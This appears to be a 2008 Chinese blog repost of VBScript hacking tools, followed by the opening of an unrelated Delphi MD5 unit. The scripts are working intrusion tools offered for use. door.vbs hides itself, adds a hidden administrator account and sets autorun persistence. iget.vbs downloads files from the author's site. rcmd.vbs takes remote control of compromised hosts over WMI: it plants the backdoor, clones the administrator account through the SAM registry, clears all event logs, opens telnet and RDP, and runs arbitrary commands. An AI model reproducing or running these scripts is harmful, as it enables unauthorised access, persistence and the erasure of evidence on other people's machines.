-
vbs
2008-12-19 10:09:44
几个vbs文件代码发布:dxy 字体:[增加 减小] 类型:转载
-
-1. door.vbs
'***************
'door.vbs by 黑嘿黑
'***************
dim wsh,FA,FSO
set fso=CreateObject("scrīpting.FileSystemObject")
Set FA= FSO.GetFile(Wscrīpt.scrīptFullName)
FA.Attributes =34
set wsh=CreateObject("Wscrīpt.Shell")
wsh.run "net user IUSE_SERVER xyhack.91i.net /add",0,true
wsh.run "net localgroup administrators IUSE_SERVER /add" ,0,true
wsh.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32",""&FA&""
wsh.Regwrite"HKLM\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue",0,"REG_DWORD"
wsh.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\AutoRun",""&FA&""
wsh.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun",""&FA&""
功能:添加不死帐号(随cmd启动而启动),在win下彻底隐藏。
使用:直接运行。
2. ntlm.vbs
'***************
'ntlm.vbs by 黑嘿黑
'***************
dim wsh
set wsh=CreateObject("Wscrīpt.Shell")
wsh.regwrite "HKLM\Software\Microsoft\TelnetServer\1.0\NTLM",Wscrīpt.Arguments(0),"REG_DWORD"
wsh.regwrite "HKLM\Software\Microsoft\TelnetServer\1.0\TelnetPort",Wscrīpt.Arguments(1),"REG_DWORD"
功能:自定义telnet的ntml和端口。
使用:D:\>ntml.vbs 1 999
3. iget.vbs
'***************************
'iget.vbs Mod by 黑嘿黑
'***************************
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET",LCase(Wscrīpt.Arguments(0)),0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile LCase(Wscrīpt.Arguments(1)),2
功能:命令行下下载http文件。
使用:D:\>iget.vbs http://xyhack.91i.net/vbs.rar vbs.rar
4. rcmd.vbs
'***************
'rcmd.vbs by 黑嘿黑
'***************
on error resume next
set ōutstreem=wscrīpt.stdout
set instreem=wscrīpt.stdin
if (lcase(right(wscrīpt.fullname,11))="wscrīpt.exe") then
set ōbjShell=wscrīpt.createObject("wscrīpt.shell")
objShell.Run("cmd.exe /k cscrīpt //nologo "&chr(34)&wscrīpt.scrīptfullname&chr(34))
end if
if wscrīpt.arguments.count<3 then
usage()
wscrīpt.echo "Not enough parameters."
wscrīpt.quit
end if
ipaddress=wscrīpt.arguments(0)
username=wscrīpt.arguments(1)
password=wscrīpt.arguments(2)
usage()
outstreem.write "Conneting "&ipaddress&"...."
set ōbjlocator=createobject("wbemscrīpting.swbemlocator") '20
set ōbjswbemservices=objlocator.connectserver(ipaddress,"root/cimv2",username,password)
objswbemservices.security_.privileges.add 23,true
objswbemservices.security_.privileges.add 18,true
objswbemservices.security_.privileges.add 7,true
objswbemservices.security_.privileges.add 11,true
if errornumber<>0 then
wscrīpt.echo "Error!"
call main()
else
wscrīpt.echo "OK!"
end if
call main()
'***********************************************************
function door()
outstreem.write "Creating the blankdoor .."
set ōbjinstproc=objswbemservices.get("win32_process")
cmddoor="cmd /c echo dim wsh,FA,FSO,t>%windir%\system32\svrer.vbs" _
&"&& echo set fso=CreateObject(""scrīpting.FileSystemObject"") >>%windir%\system32\svrer.vbs" _
&"&& echo Set FA= FSO.GetFile(Wscrīpt.scrīptFullName)>>%windir%\system32\svrer.vbs" _
&"&& echo FA.Attributes =34>>%windir%\system32\svrer.vbs" _
&"&& echo set t=fso.CreateTextFile(""%windir%\system32\SYSTEM.bat"",true)>>%windir%\system32\svrer.vbs" _
&"&& echo t.WriteLine(""net user IUSE_SERVER xyhack.91i.net /add"")>>%windir%\system32\svrer.vbs" _
&"&& echo t.WriteLine(""net localgroup administrators IUSE_SERVER /add"")>>%windir%\system32\svrer.vbs" _
&"&& echo t.WriteLine(""Attrib +h %windir%\system32\SYSTEM.bat"")>>%windir%\system32\svrer.vbs" _
&"&& echo t.Close>>%windir%\system32\svrer.vbs"_
&"&& echo set wsh=CreateObject(""Wscrīpt.Shell"")>>%windir%\system32\svrer.vbs" _
&"&& echo wsh.run ""net user IUSE_SERVER xyhack.91i.net /add"",0,true>>%windir%\system32\svrer.vbs" _
&"&& echo wsh.run ""net localgroup administrators IUSE_SERVER /add"" ,0,true>>%windir%\system32\svrer.vbs" _
&"&& echo wsh.Regwrite
""HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32"",""%windir%\system32\svrer.vbs"">>%windir%\system32\svrer.vbs" _
&"&& echo wsh.Regwrite
""HKLM\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue"",0,""REG_DWORD"">>%win
dir%\system32\svrer.vbs" _
&"&& echo wsh.regwrite ""HKEY_LOCAL_MACHINE\Software\Microsoft\Command
Processor\AutoRun"",""%windir%\system32\svrer.vbs"">>%windir%\system32\svrer.vbs" _
&"&& echo wsh.regwrite ""HKEY_CURRENT_USER\Software\Microsoft\Command
Processor\AutoRun"",""%windir%\system32\svrer.vbs"">>%windir%\system32\svrer.vbs" _
&"&& echo wsh.run ""cmd /c at 20:00,20:10,20:20,20:30 %windir%\system32\SYSTEM.bat"",0,true
>>%windir%\system32\svrer.vbs"
objinstproc.create(cmddoor)
showerror(err.number)
Wscrīpt.Sleep(1500)
outstreem.write "Runing the blankdoor .."
objinstproc.create("cmd /c cscrīpt %windir%\system32\svrer.vbs")
showerror(err.number)
call main()
end function
'***********************************************************
function ca()
Wscrīpt.Echo "enter the causername:"
causername=Wscrīpt.StdIn.Readline()
Wscrīpt.Echo "enter the capassword:"
capassword=Wscrīpt.StdIn.Readline()
outstreem.write "Getting SID of "&causername&" ...."
set colinstsid=objswbemservices.execquery("select * from win32_useraccount where name="&chr(34)&causername&chr(34))
for each objinstsid in colinstsid
strsid=objinstsid.sid
sidflag=right(strsid,len(strsid)-instrrev(strsid,"-"))
strflag=cstr(hex(sidflag))
regname=string(8-len(strflag),"0")&strflag
next
if strsid="" then
wscrīpt.echo "Error."&vbcrlf&"Username is not exist."
call main()
else
wscrīpt.echo "OK!"
end if
outstreem.write "Prepairing .."
set ōbjinstproc=objswbemservices.get("win32_process")
showerroronly(err.number)
cmdline="cmd /c echo set ōreg=getobject(""winmgmts:root\default:stdregprov"")>%temp%\ca.vbs" _
&"&& echo oreg.getbinaryvalue ^&h80000002,""SAM\SAM\Domains\Account\Users\000001F4"",""F"",uvalue >>%temp%\ca.vbs" _
&"&& echo oreg.setbinaryvalue ^&h80000002,""SAM\SAM\Domains\Account\Users\"?name&""",""F"",uvalue >>%temp%\ca.vbs" _
&"&& echo set sh=createobject(""wscrīpt.shell"")>>%temp%\ca.vbs" _
&"&& echo sh.regwrite ""HKLM\SOFTWARE\Microsoft\Windows scrīpt Host\Settings\caflag"",""1"" >>%temp%\ca.vbs"
objinstproc.create(cmdline)
showerroronly(err.number)
cmdline="cmd /c echo atime=time>%temp%\getsys.vbs" _
&"&& echo set sh=createobject(""wscrīpt.shell"")>>%temp%\getsys.vbs" _
&"&& echo sh.run ""cmd /c at 23:59 cscrīpt %temp%\ca.vbs"",0,true >>%temp%\getsys.vbs" _
&"&& echo sh.run ""cmd /c time 23:58:59.90"",0,true >>%temp%\getsys.vbs" _
&"&& echo wscrīpt.sleep(1100)>>%temp%\getsys.vbs" _
&"&& echo sh.run ""cmd /c time ""^&atime,0,true >>%temp%\getsys.vbs"
objinstproc.create(cmdline)
showerror(err.number)
outstreem.write "Processing ."
set colinstsvr=objswbemservices.execquery("select * from win32_service where name='schedule'")
showerroronly(err.number)
for each objinstsvr in colinstsvr
flag1=0
flag2=0
if objinstsvr.startmode="Disabled" then
objinstsvr.changestartmode("Manual")
flag1=1
end if
if objinstsvr.started=flase then
errnumber=objinstsvr.startservice()
flag2=1
end if
showerroronly(err.number)
objinstproc.create("cmd /c cscrīpt %temp%\getsys.vbs")
showerroronly(err.number)
set ōbjinstreg=objlocator.connectserver(ipaddress,"root/default",username,password).get("stdregprov")
for i=1 to 20
objinstreg.getstringvalue &h80000002,"SOFTWARE\Microsoft\Windows scrīpt Host\Settings","caflag",svalue
if svalue="1" then
exit for
else
wscrīpt.sleep(500)
end if
next
objinstproc.create("net user "&causername&" "&capassword)
if flag1 then objinstsvr.changestartmode("Disabled")
if flag2 then objinstsvr.stopservice()
next
if svalue<>"1" then
wscrīpt.echo "Error."&vbcrlf&"Waiting time out."
else
showerror(err.number)
end if
outstreem.write "Clean Up .."
objinstproc.create("cmd /c del %temp%\ca.vbs")
showerroronly(err.number)
objinstproc.create("cmd /c del %temp%\getsys.vbs")
showerroronly(err.number)
if svalue="1" then objinstreg.deletevalue &h80000002,"SOFTWARE\Microsoft\Windows scrīpt Host\Settings","caflag"
showerror(err.number)
call main()
end function
function showerroronly(errornumber)
if errornumber Then
wscrīpt.echo "Error 0x"&cstr(hex(err.number))&" ."
if err.descrīption <> "" then
wscrīpt.echo "Error descrīption: "&err.descrīption&"."
end if
call main()
else
outstreem.write "."
end if
end function
'***********************************************************
function share()
Wscrīpt.Echo string(18,"-")
Wscrīpt.Echo "0.返回CMD> ="
wscrīpt.echo "1.列出共享信息: ="
Wscrīpt.Echo "2.创建共享 ="
Wscrīpt.Echo "3.删除共享 ="
Wscrīpt.Echo string(18,"-")
Wscrīpt.Echo "please chose the parameter:"
parameters=Wscrīpt.StdIn.Readline()
Select Case parameters
case "quit" , "0"
main()
case "list" , "1"
listshare()
case "open" , "2" '40
openshare()
case "close" ,"3"
closeshare()
end Select
end function
function listshare()
outstreem.write "Listing the Netshare from "&ipaddress&"...."
Set colShares = objswbemservices.ExecQuery("Select * from Win32_Share")
showerror(err.number) '50
wscrīpt.echo _
("Caption"&chr(9)&chr(9)&"Name: "&chr(9)&chr(9)&"Path")
For each objShare in colShares
wscrīpt.echo _
(objShare.Caption&chr(9)&objShare.Name &chr(9)&chr(9)&objShare.Path)
Next
wscrīpt.echo vbcrlf&"All Share have been listed Successfully!"
call share()
end function
function openshare()
wscrīpt.echo "Enter the path:" '70
path=Wscrīpt.StdIn.Readline()
wscrīpt.echo "Enter the name:"
sname=Wscrīpt.StdIn.Readline()
Const FILE_SHARE = 0
Const MAXIMUM_CONNECTIONS = 25
Set ōbjNewShare = objswbemservices.Get("Win32_Share")
errReturn = objNewShare.Create _
(path, sname, FILE_SHARE, _
MAXIMUM_CONNECTIONS, "默认共享")
wscrīpt.echo "Then Share have been Ceated Successfully!"
call share()
end function
function closeshare()
wscrīpt.echo "Plese Enter The name:"
kname=Wscrīpt.StdIn.Readline()
outstreem.write "killing the "&kname&" ...."
Set colShares = objswbemservices.ExecQuery _
("Select * from Win32_Share Where Name ="&"'"&kname&"' ")
For Each objShare in colShares
objShare.Delete
Next
showerror(err.number)
call share()
end function
'***********************************************************
function listsvr()
outstreem.write "Listing the Service from "&ipaddress&"...."
Set colListOfServices = objswbemservices.ExecQuery _
("Select * from Win32_Service")
showerror(err.number)
wscrīpt.echo _
("Name"&chr(9)&chr(9)&"State"&chr(9)&chr(9)&"Mode"&chr(9)&"Path Name ")
For Each objService in colListOfServices
if len(objService.name)<8 then
strname=objService.name&chr(9)
else
strname=objService.name
end if
wscrīpt.echo _
(strname&chr(9)&objService.State&chr(9)&chr(9)&objService.StartMode&chr(9)&objService.PathName)
Next
wscrīpt.echo vbcrlf&"All Services have been listed Successfully!"
call main()
end function
'************************************************************
function reboot()
outstreem.write "Now, restarting target...."
strwqlquery="select * from win32_operatingsystem where primary='true'"
set colinstances=objswbemservices.execquery(strwqlquery)
for each objinstance in colinstances
objinstance.win32shutdown(6)
next
showerror(err.number)
call main()
end function
'*************************************************************
function inf()
outstreem.write "Getting Infomation from "&ipaddress&"...."
set obj1=objget("win32_computersystem")
showerror(err.number)
wscrīpt.echo ""&vbcrlf
set obj2=objget("win32_operatingsystem")
set col3=objswbemservices.instancesof("win32_processor")
set obj4=objget("win32_logicalmemoryconfiguration")
set obj5=objget("win32_bios")
set obj6=objget("win32_displayconfiguration")
set col7=objswbemservices.instancesof("win32_diskdrive")
set col8=objswbemservices.instancesof("win32_logicaldisk")
set col9=objswbemservices.instancesof("win32_networkadapterconfiguration")
set col10=objswbemservices.instancesof("win32_quickfixengineering")
wnl "OS Info :"
wnl " Computer Name : "&obj1.name
wnl " User Name : "&obj1.username
wnl " Domain : "&obj1.domain
domainrole=""
select case obj1.domainrole
case 0
domainrole="Workstation"
case 1
domainrole="Member Workstation"
case 2
domainrole="Server"
case 3
domainrole="Member Server"
case 4
domainrole="Backup Domain Controller"
case 5
domainrole="Main Domain Controller"
end select
with obj2
wnl " Domain Role : "&domainrole
wnl " Caption : "&.caption
wnl " Organization : "&.organization
wnl " Registered User : "&.registereduser
wnl " Install Date : "&timeformat(.installdate)
wnl " Last BootUp Time : "&timeformat(.lastbootuptime)
wnl " Windows Directory : "&.windowsdirectory
wnl " System Directory : "&.systemdirectory
wnl " Boot Device : "&.bootdevice
wnl " Country Code : "&.countrycode
wnl " CSName : "&.csname
wnl " Descrīption : "&.descrīption
wnl " Manufacturer : "&.manufacturer
wnl " Serial Number : "&.serialnumber
wnl " Version : "&.version
wnl " System Type : "&obj1.systemtype
wnl " System Startup Delay : "&obj1.systemstartupdelay&"s"
wnl " System Startup Options : "&obj1.systemstartupoptions(0)
for i=1 to ubound(obj1.systemstartupoptions)
wnl space(28)&obj1.systemstartupoptions(i)
next
end with
wnl vbcrlf&"Processor Info :"
wnl " Number Of Processors : "&obj1.numberofprocessors
for each obj3 in col3
with obj3
wnl " Device ID : "&.deviceid
wnl " Name : "&.name
wnl " Current Clock Speed : "&.currentclockspeed&"MHz"
wnl " Descrīption : "&.descrīption
wnl " Ext Clock : "&.extclock&"MHz"
wnl " L2 Cache Size : "&.l2cachesize&"KB"
wnl " L2 Cache Speed : "&.l2cachespeed&"MHz"
wnl " Processor Id : "&.processorid
wnl " Manufacturer : "&.manufacturer
wnl " Socket Designation : "&.socketdesignation
wnl " Address Width : "&.addresswidth&"Bit"
wnl " Data Width : "&.datawidth&"Bit"
end with
next
with obj4
wnl vbcrlf&"Memory Info :"
wnl " Total Physical Memory : "&cint(.totalphysicalmemory/1024)&"MB"
wnl " Free Physical Memory : "&cint(obj2.freephysicalmemory/1024)&"MB"
wnl " Total PageFile Space : "&cint(.totalpagefilespace/1024)&"MB"
wnl " Total Virtual Memory : "&cint(.totalvirtualmemory/1024)&"MB"
wnl " Available Virtual Memory : "&cint(.availablevirtualmemory/1024)&"MB"
end with
wnl vbcrlf&"BIOS Info :"
wnl " Descrīption : "&obj5.descrīption
wnl " Current Language : "&obj5.currentlanguage
wnl " Version : "&obj5.version
wnl " Manufacturer : "&obj5.manufacturerwith obj6
wnl vbcrlf&"Display Configuration :"
wnl " Caption : "&.caption
wnl " Device Name : "&.devicename
wnl " Driver Version : "&.driverversion
wnl " Display Frequency : "&.displayfrequency&"Hz"
wnl " Bits Per Pel : "&.bitsperpel&"Bit"
wnl " Pels : "&.pelswidth&" x "&.pelsheight
end with
wnl vbcrlf&"Disk Info :"
for each obj7 in col7
with obj7
wnl " DeviceID : "&.deviceid
wnl " Caption : "&.caption
wnl " Interface Type : "&.interfacetype
wnl " SCSI Bus : "&.scsibus
wnl " SCSI Logical Unit : "&.scsilogicalunit
wnl " SCSI Port : "&.scsiport
wnl " SCSI TargetId : "&.scsitargetid
wnl " Sectors Per Track : "&.sectorspertrack&"KB"
wnl " Partitions : "&.partitions
wnl " Size : "&sizeformat(.size)
end with
next
str=" Volume"+space(2)+"Type"+space(8)+"Format"+space(4)
str=str+"Size"+space(6)+"Free"+space(12)+"Label"
wnl str
for each obj8 in col8
with obj8
drivetype=""
select case .drivetype
case 0
drivetype="Unknow"
case 1
drivetype="NoRootDir"
case 2
drivetype="Removable"
case 3
drivetype="Fixed"
case 4
drivetype="Network"
case 5
drivetype="CD-ROM"
case 6
drivetype="RAM"
end select
strpercent=""
if .size<>"" and .freespace<>"" then
strpercent=" ("&formatpercent(.freespace/.size,0)&")"
end if
str=" "&wsp(.caption,8)&wsp(drivetype,12)&wsp(.filesystem,10)&wsp(sizeformat(.size),10)
str=str&wsp(sizeformat(.freespace)&strpercent,16)&.volumename
wnl str
end with
next
wnl vbcrlf&"NIC Informaton :"
for each obj9 in col9
with obj9
if .IPEnabled then
wnl " Index : "&.index
wnl " Descrīption : "&.descrīption
wnl " DHCP Enabled : "&.dhcpenabled
wnl " DHCP Server : "&.dhcpserver
wnl " DNS Host Name : "&.dnshostname
wnl " DNS Server Search Order : "&wfl(.dnsserversearchorder)
wnl " WINS Primary Server : "&.winsprimaryserver
wnl " IP Address : "&wfl(.ipaddress)
wnl " MAC Address : "&.macaddress
wnl " Default IP Gateway : "&wfl(.defaultipgateway)
wnl " IP Subnet : "&wfl(.ipsubnet)
wnl " IP Filter Security Enabled : "&.ipfiltersecurityenabled
wnl " IPSec Permit IP Protocols : "&wfl(.ipsecpermitipprotocols)
wnl " IPSec Permit TCP Ports : "&wfl(.ipsecpermittcpports)
wnl " IPSec Permit UDP Ports : "&wfl(.ipsecpermitudpports)
end if
end with
next
wnl vbcrlf&"Hot Fixes Info :"
for each obj10 in col10
wnl " Hot Fix ID : "&obj10.hotfixid
wnl " Fix Comments : "&obj10.fixcomments
wnl " Install Date : "&obj10.installdate
wnl " Service Pack In Effect : "&obj10.servicepackineffect
next
wnl vbcrlf&"Applications :"
set objswb1=objlocator.connectserver(ipaddress,"root/default",username,password)
set obj11=objswb1.get("stdregprov")
HKLM=&h80000002
keypath="SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\"
obj11.enumkey HKLM,keypath,keyarray
redim str(ubound(keyarray)+1)
j=0
for i=0 to ubound(keyarray)
obj11.getstringvalue HKLM,keypath+keyarray(i),"displayname",strvalue
if strvalue<>"" then
str(j)=strvalue
j=j+1
end if
next
if j>1 then
for i=0 to j-1
for k=0 to j-i-1
if strcomp(str(k),str(k+1),1)=1 then
strtemp=str(k+1)
str(k+1)=str(k)
str(k)=strtemp
end if
next
next
end if
for i=0 to j-1
wnl " "&str(i)
next
wscrīpt.echo ""&vbcrlf
wscrīpt.echo "The Infomation from &ipaddress& had been listed Successfully!"
call main()
end function
sub wnl(msg)
wscrīpt.echo msg
if isobject(of) then
on error resume next
of.writeline msg
showerror()
on error goto 0
end if
end sub
function wfl(byref obj)
str=""
for i=0 to ubound(obj)
str=str&obj(i)&" "
next
wfl=str
end function
function wsp(msg,num)
if msg<>"" then
msg=left(msg,num-1)
wsp=msg&space(num-len(msg))
else
wsp=space(num)
end if
end function
function timeformat(msg)
timeformat=left(msg,4)&"/"&mid(msg,5,2)&"/"&mid(msg,7,2)&" "&mid(msg,9,2)&":"&mid(msg,11,2)&":"&mid(msg,13,2)
end function
function sizeformat(msg)
if msg<>"" then
size=msg/1048576
if size>1024 then
sizeformat=round(size/1024,2)&"GB"
else
sizeformat=round(size,1)&"MB"
end if
end if
end function
function objget(msg)
set col=objswbemservices.instancesof(msg)
for each objx in col
set ōbj=objx
next
set ōbjget=obj
end function
'******************************************
function command()
wscrīpt.echo "Plese Enter The Command:"
call run()
end function
function run()
strcmdline=Wscrīpt.StdIn.Readline()
if strcmdline="exit" or strcmdline="quit" or strcmdline="0" then
call main()
end if
outstreem.write "Running the command ...."
set ōbjinstance=objswbemservices.get("win32_process")
set ōbjmethod=objinstance.methods_("create")
set ōbjinparam=objmethod.inparameters.spawninstance_()
objinparam.commandline=strcmdline
set ōbjoutparam=objinstance.execmethod_("create",objinparam)
if objoutparam.returnvalue<>0 then
wscrīpt.echo "Error!"
call command()
else
wscrīpt.echo "OK!"
end if
wscrīpt.echo "The Process ID is "&objoutparam.processid
wscrīpt.echo "Runing command:"&strcmdline&". to "&ipaddress&" Successfully!"&vbcrlf
call command()
end function
'*******************************************
function pslist()
outstreem.write "Listing process...."
set colinstances=objswbemservices.execquery("select * from win32_process")
showerror(err.number)
wscrīpt.echo vbcrlf&"Name"&chr(9)&chr(9)&"Pid"&chr(9)&"ExecutablePath"
for each objinstance in colinstances
if len(objinstance.name)<8 then
strname=objinstance.name&chr(9)
else
strname=objinstance.name
end if
wscrīpt.echo strname&chr(9)&objinstance.handle&chr(9)&objinstance.executablepath
next
wscrīpt.echo vbcrlf&"All process have been listed Successfully!"
call main()
end function
'*****************************************
function pskill()
wscrīpt.echo "plese enter the process's id:"
strprocess=Wscrīpt.StdIn.Readline()
outstreem.write "Killing id="&strprocess&" process...."
set ōbjinstance=objswbemservices.get("win32_process.handle="&"'"&strprocess&"'")
if vartype(objinstance)<>vbobject then
wscrīpt.echo vbcrlf&"Specified process is not exist."
call main()
else
set ōbjmethod=objinstance.methods_("terminate")
set ōbjinparam=objmethod.inparameters.spawninstance_()
objinparam.reason=0
set ōbjoutparam=objinstance.execmethod_("terminate",objinparam)
showerror(objoutparam.returnvalue)
wscrīpt.echo "The process's id="&strprocess&" have been killed Successfully!"
end if
call main()
end function
'********************************************************
function telnet()
outstreem.write "Querying state of telnet server...."
set ōbjswbemservices=objlocator.connectserver(ipaddress,"root\cimv2",username,password)
set colinstances=objswbemservices.execquery("select * from win32_service where name='tlntsvr'")
showerror(err.number)
for each objinstance in colinstances
if objinstance.startmode="Disabled" then
outstreem.write "Telnet server has been disabled. Now changeing start mode to manual...."
set ōbjmethod=objinstance.methods_("changestartmode")
set ōbjinparam=objmethod.inparameters.spawninstance_()
objinparam.startmode="Manual"
set ōbjoutparam=objinstance.execmethod_("changestartmode",objinparam)
showerror(objoutparam.returnvalue)
end if
outstreem.write "Changeing state...."
if objinstance.started=true then
intstatus=objinstance.stopservice()
showerror(intstatus)
wscrīpt.echo "Target telnet server has been STOP Successfully."
else
showerror(intstatus)
wscrīpt.echo "plese enter the ntlm:"
ntlm=Wscrīpt.StdIn.Readline()
wscrīpt.echo "plese enter the port:"
port=Wscrīpt.StdIn.Readline()
if not isnumeric(ntlm) or ntlm<0 or ntlm>2 then
wscrīpt.echo "The value of NTML is wrong."
call main()
end if
if not isnumeric(port) then
wscrīpt.echo "The value of port is wrong."
main()
end if
set objswbemservices1=objlocator.connectserver(ipaddress,"root/default",username,password)
outstreem.write "Setting NTLM="&ntlm&"...."
set objinstance1=objswbemservices1.get("stdregprov")
set ōbjmethod=objinstance1.methods_("SetDWORDvalue")
set ōbjinparam=objmethod.inparameters.spawninstance_()
objinparam.hdefkey=&h80000002
objinparam.ssubkeyname="SOFTWARE\Microsoft\TelnetServer\1.0"
objinparam.svaluename="NTLM"
objinparam.uvalue=ntlm
set ōbjoutparam=objinstance1.execmethod_("SetDWORDvalue",objinparam)
showerror(objoutparam.returnvalue)
outstreem.write "Setting port="&port&"...."
objinparam.svaluename="TelnetPort"
objinparam.uvalue=port
set ōbjoutparam=objinstance1.execmethod_("SetDWORDvalue",objinparam)
showerror(objoutparam.returnvalue)
intstatus=objinstance.startservice()
wscrīpt.echo "Target telnet server has been START Successfully!"
wscrīpt.echo "Now, you can try: telnet "&ipaddress&" "&port&", to get a shell."
end if
next
call main()
end function
'********************************************************
function rs()
outstreem.write "Checking The OS Type ...."
set colinstoscaption=objswbemservices.execquery("select caption from win32_operatingsystem")
for each objinstoscaption in colinstoscaption
if instr(objinstoscaption.caption,"Server")>0 then
wscrīpt.echo "OK!"
else
wscrīpt.echo "OK!"
wscrīpt.echo "OS Type is "&objinstoscaption.caption
wscrīpt.echo "you cann't open terminal services,canceling...."&chr(13) '60
call main()
end if
next
wscrīpt.echo "plese enter the port:"
port=Wscrīpt.StdIn.Readline()
if not isnumeric(port) or port<1 or port>65000 then '50
wscrīpt.echo "The number of port is error."
call main()
end if
outstreem.write "Writing into registry ...."
set ōbjinstreg=objlocator.connectserver(ipaddress,"root/default",username,password).get("stdregprov")
HKLM=&h80000002
with objinstreg
.createkey ,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache"
.setdwordvalue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache","Enabled",0 '70
.createkey HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer"
.setdwordvalue HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer","EnableAdminTSRemote",1
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server","TSEnabled",1
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermDD","Start",2
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermService","Start",2
.setstringvalue HKLM,".DEFAULT\Keyboard Layout\Toggle","Hotkey","1"
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp","PortNumber",port
end with
showerror(err.number)
wscrīpt.echo "Now, you need to reboot target!"
wscrīpt.echo "Do you want to reboot target now ?[y/n]"
strcancel=Wscrīpt.StdIn.Readline()
if strcancel="n" then
wscrīpt.echo "you need to reboot target then!!"
call main()
else
call reboot()
end if
wscrīpt.echo "You can logon terminal services on "&port&" later,Good luck!"
call main()
end Function
'**************************************************************
function clog()
outstreem.write "Clearing all logs...."
strwqlquery="select * from Win32_NTEventLogFile"
set colinstances=objswbemservices.execquery(strwqlquery,"wql",&h20)
for each objinstance in colinstances
if objinstance.cleareventlog()<>0 then
wscrīpt.echo "Error!" '100
call main()
end if
next
wscrīpt.echo "OK!"
wscrīpt.echo "All logs have been cleared Successfully!"
call main()
end function
'***************************************************************
function showerror(errornumber)
if errornumber Then
wscrīpt.echo "Error 0x"&cstr(hex(err.number))&" ."
if err.descrīption <> "" then
wscrīpt.echo "Error descrīption: "&err.descrīption&"."
end if
call main()
else
wscrīpt.echo "OK!"
end if
end function
'*****************************************************************
function usage()
wscrīpt.echo string(79,"*")
wscrīpt.echo "RCMD v1.05"
wscrīpt.echo "Remote execution scrīpt, by 黑嘿黑"
wscrīpt.echo "Welcome to visite www.xyhack.91i.net"
wscrīpt.echo "QQ:123230273 E-mail:cnhacker521@hotmail.com"
wscrīpt.echo "Usage:"
wscrīpt.echo "cscrīpt "&wscrīpt.scrīptfullname&" targetIP username password "
wscrīpt.echo "Then chose the command>"
wscrīpt.echo string(79,"*")
end function
'**********************************************************
function main()
wscrīpt.echo ""
wscrīpt.echo "Now chose the command>"
wscrīpt.echo "0.quit 退出脚本"
wscrīpt.echo "1.telnet 远程开/关telnet"
wscrīpt.echo "2.3389 远程开3389"
wscrīpt.echo "3.clog 远程删除所有日志"
wscrīpt.echo "4.getf 获取肉鸡系统信息"
wscrīpt.echo "5.pslist 例出进程"
wscrīpt.echo "6.pskill 删除进程"
wscrīpt.echo "7.command 远程执行DOS命令"
wscrīpt.echo "8.reboot 远程重启肉鸡"
wscrīpt.echo "9.slist 例出远程肉鸡上的服务信息"
wscrīpt.echo "A.Share 1.列出共享 2.创建共享 3.删除共享"
wscrīpt.echo "B.ca 克隆帐号"
wscrīpt.echo "C.Door 种植后门"
wscrīpt.echo string(79,"*")
wscrīpt.echo "CMD>"
cmd=Wscrīpt.StdIn.Readline()
wscrīpt.echo ""
Select Case cmd
case "telnet" , "1"
telnet()
case "3389" , "2"
rs()
case "clog" , "3"
clog()
case "getf" , "4"
inf()
case "psl" , "pslist" , "5"
pslist()
case "psk" , "pskill" , "6"
pskill()
case "cmd" , "command" , "7"
command()
case "reboot" , "8"
reboot()
case "slist" , "9"
list listsvr()
case "share" , "10" ,"a" ,"A"
share()
case "B" , "b" , "11"
ca()
case "C" , "c" , "12"
door()
case "quit" , "0"
wscrīpt.quit
end select
end function本文来自: 脚本之家(www.jb51.net) 详细出处参考:http://www.jb51.net/article/7999.htm
-
delphi Md5
2008-12-07 20:03:46
//http://hi.baidu.com/coolcat197/blog/item/e98b63d9f746a0e939012ffa.html
//DELPHI MD5加密算法2007-01-23 02:38具体使用方法如下,另外还附有源代码:
{-----------------------------------------------------------
1、 MD5String、MD5File、MD5Print、MD5Match这四个函数是供调用的。
其他是用来辅助这几个函数的子函数。
2、MD5String为加密字符串。
3、MD5File为加密这个文件。
4、MD5Print是将加密后的密文转换成字符串。
5、MD5Match是用来比较密文是否一致。
ExitProcess(0);
Application.Terminate;
加密字符串aaa MD5String('aaa')将加密后的aaa显示出来 MD5Print(MD5String('aaa'))
比较两次密文是否一致: MD5Match(MD5String('第一次明文')
MD5String('第二次输入的明文'))edit2.Text:=MD5Print(MD5String(TempString));
------------------------------------------------------------}
//MD5加密算法(DELPHI)
unit md5;
// -----------------------------------------------------------------------------------------------
interface
// -----------------------------------------------------------------------------------------------uses
Windows;type
MD5Count = array[0..1] of DWORD;
MD5State = array[0..3] of DWORD;
MD5Block = array[0..15] of DWORD;
MD5CBits = array[0..7] of byte;
MD5Digest = array[0..15] of byte;
MD5Buffer = array[0..63] of byte;
MD5Context = record
State: MD5State;
Count: MD5Count;
Buffer: MD5Buffer;
end;procedure MD5Init(var Context: MD5Context);
procedure MD5Update(var Context: MD5Context; Input: pChar; Length: longword);
procedure MD5Final(var Context: MD5Context; var Digest: MD5Digest);function MD5String(M: string): MD5Digest;
function MD5File(N: string): MD5Digest;
function MD5Print(D: MD5Digest): string;function MD5Match(D1, D2: MD5Digest): boolean;
// -----------------------------------------------------------------------------------------------
IMPLEMENTATION
// -----------------------------------------------------------------------------------------------var
PADDING: MD5Buffer = (
$80, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00
